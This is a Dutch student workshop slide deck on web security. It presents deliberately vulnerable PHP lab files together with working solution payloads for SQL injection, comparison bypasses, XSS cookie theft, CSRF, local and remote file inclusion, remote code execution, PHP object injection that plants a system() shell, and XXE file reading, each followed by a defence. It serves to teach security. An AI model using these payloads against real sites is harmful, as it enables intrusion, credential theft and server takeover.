WEBSECURITY INFORMATICA STUDENTENWERKING Gemaakt door Bryan De Houwer en Yuri Moens ISW Informatica studentenwerking voor en door studenten Wat bieden wij aan: Workshops Shell accounts Altijd bereikbaar op [email protected] of in lokaal 115. LOGISCHE FOUTEN Opletten bij het fout gebruik van bepaalde functies en operators. VOORBEELD 1 - SQL INJECTION exploit/logic_1.php <?php if(!empty($_GET['b'])) { if(intval($_GET['b'])) { print "SELECT * FROM users WHERE user_id = {$_GET['b']}"; } } ?> OPLOSSING http://localhost/exploit/logic_1.php?b=-1 OR 1=1 BEVEILIGING Gebruik PDO voor SQL queries en gebruik de correcte functies om bijvoorbeeld te checken of een variabele een integer is. VOORBEELD 2 - FOUTE OPERATORS exploit/logic_2.php <?php include('secret.php'); if(!empty($_GET['login'])) { $data = unserialize($_GET['login']); if(@$auth[$data['user']] == $data['pass']){ echo "logged in."; } } ?> OPLOSSING http://localhost/exploit/logic_2.php?login=a:2:{s:4:"user";s:5:"admin";s:4:"pass http://localhost/exploit/logic_2.php?login=a:2:{s:4:"user";s:5:"aaaaa";s:4:"pass BEVEILIGING Gebruik altijd '==='. VOORBEELD 3 exploit/logic_3.php <?php include('secret.php'); if(!empty($_GET['secret'])) { if(@strcmp($mysecret, $_GET['secret']) == 0){ echo "logged in."; } } ?> OPLOSSING http://localhost/exploit/logic_3.php?secret[]= BEVEILIGING Check altijd wat een user doorgeeft aan een functie. HEARTBLEED HOE/WAT? Fout in implementatie (OpenSSL) Geheugen van server uitlezen Geen check op lengte van request (XKCD) OpenSSL fix commit BEVEILIGING? OpenSSL patchen OpenSSL compilen zonder Heartbeat support IDPS rules bestaan maar voldoen niet! LibreSSL XSS EN CSRF Cross-Site Scripting Cross-Site Request Forgery CROSS-SITE SCRIPTING WAT? Onveilige JavaScript code die geinjecteerd wordt HOE? Input die niet gesanitized is Users op onveilige links laten klikken BEVEILIGING? Input sanitizen XSS VOORBEELD: COOKIE STELEN Opdracht: Steel de inhoud van de cookie aangemaakt in xss.php met behulp van XSS. Gebruikte bestanden: exploit/xss.php (bestand op server) cookie.php (lokale bestand) TIPS + URL encoden naar %2b cookie.php?c=input document.location document.cookie XSS COOKIE STELEN OPLOSSING <script> document.location = "http://localhost/cookie.php?c=" + document.cookie; </script> CROSS-SITE REQUEST FORGERY HOE/WAT? Stuur een user een link die een request doet aan een andere site waar deze is ingelogd. Deze request zal een actie doen als de user, maar de user zelf weet hier niets van. VOORBEELD https://example.com/pay.php?user=yuri&amount=9999 De ingelogde user zal een bedrag van 9999 betalen aan mij. BEVEILIGING? Tokens https://example.com/pay.php?user=yuri&amount=9999&token=9491876179d7a80bb5c86f15 LFI, RFI & RCE Local File Inclusion Remote File Inclusion Remote Code Execution LOCAL FILE INCLUSION WAT? Bestanden die op de server staan uitlezen. HOE? Het pad van een bestand dat geinclude wordt, veranderen naar een ander, gekend bestand. BEVEILIGING? Functie basename gebruiken <?= basename('../../../etc/passwd'); ?> LFI VOORBEELD Opdracht: Lees het bestand secret.php uit met behu lp van Local File Inclusion. Gebruikte bestanden: exploit/lfi.php exploit/secret.php TIPS PHP wrapper gebruiken: ? page=php://filter/read=convert.base64-encode/resource= LFI OPLOSSING http://localhost/exploit/lfi.php ?page=php://filter/read=convert.base64-encode/resource=secret.php EXTRA: http://localhost/exploit/lfi.php ?page=../../../../../../../../../../Windows/System32/Drivers/etc/hosts REMOTE FILE INCLUSION WAT? Bestanden van een andere server includen. HOE? Het pad van een bestand dat geinclude wordt, veranderen naar een remote bestand. BEVEILIGING? allow_url_include uitzetten in php.ini RFI VOORBEELD Opdracht: Include het bestand shell.txt om shell commands uit te voeren. Gebruikte bestanden: exploit/rfi.php shell.txt OPLOSSING http://localhost/exploit/rfi.php?page=http://localhost/shell.txt?&cmd=dir REMOTE CODE EXECUTION WAT? Eigen code laten uitvoeren op een server. HOE? Door middel van misbruik te maken van slechte code en slecht gesanitizede input. BEVEILIGING? Zeer goed opletten en nadenken bij functies die input kunnen laten uitvoeren. (eval en assert) RCE VOORBEELD 1 Opdracht: Zet $var op true. Gebruikte bestanden: exploit/rce_1.php OPLOSSING http://localhost/exploit/rce_1.php?code=$var=true; RCE VOORBEELD 2 Opdracht: Laat eigen code uitvoeren. Bv: system(dir) Gebruikte bestanden: exploit/rce_2.php OPLOSSING http://localhost/exploit/rce_2.php?name={${system(dir)}} PHP OBJECT INJECTION WAT/HOE? Men stuurt een serialized object door naar een server. Dit wordt unserialized en zo krijgt men een zelfgemaakt object op de server. Zo kunnen we de variabelen controleren en misbruiken indien ze in de functies __wakeup, __destruct of __call worden gebruikt. BEVEILIGING? Geen user input laten unserializen. PHP OBJECTION INJECTION VOORBEELD Opdracht: Geef een serialized PHP object mee met eigen code. Bv: system('dir'); Gebruikte bestanden: exploit/unserialize.php TIPS O:6:"Logger":2:{s:4:"file";s:7:"log.txt";s:4:"date";s:8:"20:29:02";} OPLOSSING O:6:"Logger":2:{s:4:"file";s:7:"log.php";s:4:"date";s:23:"<?php system('dir'); ? XXE - XML EXTERNAL ENTITY PROCESSING HOE/WAT? Men geeft een eigen beschrijving van een XML bestand aan de server. In deze beschrijving gebruikt men een external entity om bestanden van de server in te lezen. Door deze entity dan zelf te gebruiken kan men de inhoud van het bestand printen. BEVEILIGING Entities uitschakelen <?php libxml_disable_entity_loader(true); ?> XXE VOORBEELD Opdracht: Lees het bestand secret.php uit met behulp van XXE. Gebruikte files: exploit/xxe.php exploit/secret.php OPLOSSING http://localhost/exploit/xxe.php?user=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=secret ]> <foo>%26xxe;</foo>
© Copyright 2024 ExpyDoc